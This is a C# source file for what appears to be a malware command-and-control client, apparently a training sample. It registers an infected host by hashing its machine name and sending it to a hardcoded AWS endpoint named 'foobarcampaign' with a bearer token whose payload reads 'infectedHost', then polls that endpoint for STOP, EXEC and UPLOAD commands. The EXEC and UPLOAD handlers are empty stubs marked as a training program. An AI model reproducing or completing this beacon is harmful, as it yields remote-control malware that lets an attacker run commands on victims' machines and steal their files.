using System;

using System.Text;

using System.IO;

using System.Security.Cryptography;

using System.Web;

using System.Net;

using System.Web.Script.Serialization;

​

public class Program

{  

​

    public static void Main()

    {

        Console.WriteLine("Hello World");

        Listener a = new Listener();

        a.Register();

    }

}

​

 class Listener {

  const string AUTH_HEADER_NAME = "Authorization";

  const string AUTH_HEADER_VALUE = "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJpbmZlY3RlZEhvc3QiLCJpYXQiOjE1Mjc2OTA3MjZ9.-EBKlxcwRMdCWdjynGyBMr7qoLxgrsvlmc-m4KK95qM";

  const string REGISTER_ENDPOINT = "https://k7vo268tif.execute-api.us-east-1.amazonaws.com/prod/foobarcampaign-messages/{0}.mes";

  const string LISTEN_ENDPOINT = "https://k7vo268tif.execute-api.us-east-1.amazonaws.com/prod/foobarcampaign-listen/{0}";

​

  class Command {

   public string type = "NONE";

   public string target = "*";

   public string argument = "";

​

​

  }

​

  private string ComputeId(string salt) {

   string hostname = "qIwd1V4." + Environment.MachineName + salt;

   SHA256 d = SHA256.Create();

​

   byte[] hash = d.ComputeHash(Encoding.UTF8.GetBytes(hostname));

​

   StringBuilder result = new StringBuilder(hash.Length * 2);

​

   for (int i = 0; i < hash.Length; i++)

    result.Append(hash[i].ToString("X2"));

​

   return result.ToString();

  }

​

  public void Register() {

​

   var hostId = ComputeId("");

   var url = String.Format(REGISTER_ENDPOINT, HttpUtility.UrlEncode(hostId));

   var request = WebRequest.Create(url);

​

​

   var data = Encoding.UTF8.GetBytes(hostId);

​

   request.Method = "PUT";

   request.ContentType = "text/plain";

   request.ContentLength = data.Length;

   request.Headers.Add("Authorization", AUTH_HEADER_VALUE);

​

   using(var stream = request.GetRequestStream()) {

    stream.Write(data, 0, data.Length);

   }

​

   try {

    var response = request.GetResponse();

​

    var responseString = new StreamReader(response.GetResponseStream()).ReadToEnd();

   } catch {}

​

  }

​

  private void Exec(string argument) {

   //this is a training program

  }

​

  private void Upload(string argument) {

   //this is a training program

  }

​

  public void Listen() {

​

   var hostId = ComputeId("");

   var url = String.Format(LISTEN_ENDPOINT, HttpUtility.UrlEncode(hostId));

​

​

   while (true) {

    try {

     var request = WebRequest.Create(url);

​

     request.Method = "GET";

     request.Headers.Add("Authorization", AUTH_HEADER_VALUE);

     var response = request.GetResponse();

​

     var responseString = new StreamReader(response.GetResponseStream()).ReadToEnd();

     JavaScriptSerializer jsonSerializer = new JavaScriptSerializer();

     Command command = jsonSerializer.Deserialize < Command > (responseString);

     if (command.target.Equals(hostId) || command.target.Equals("*")) {

      switch (command.type) {

       case "STOP":

        Environment.Exit(0);

        break;

       case "EXEC":

        Exec(command.argument);

        break;

       case "UPLOAD":

        Upload(command.argument);

        break;

​

      }

     }

    } catch {}

    Thread.Sleep(1000);

   }

​

​

​

  }

 }